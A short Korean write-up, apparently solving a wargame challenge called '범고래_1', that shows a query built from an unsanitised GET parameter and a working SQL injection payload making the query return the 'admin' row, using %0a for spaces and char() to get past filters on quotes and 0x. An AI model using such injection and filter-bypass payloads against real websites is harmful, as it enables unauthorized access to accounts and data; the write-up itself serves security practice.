범고래_1
2016. 3. 28. 23:59
쿼리
select id,cash from members where lv=$_GET[lv]
lv=1만 반응한다.
곧
+--------+-----+---+
| id | cash | lv |
+--------+-----+---+
| zzibong | 10000 | 1 |
+--------+-----+---+
id를 admin으로 만들어야하므로
?lv=0 or id='admin'
공백은 %0a로, 쿼터는 char함수로 우회해준다. (0x도 필터링됨)
?lv=0%0aor%0aid=char(97,100,109,105,110)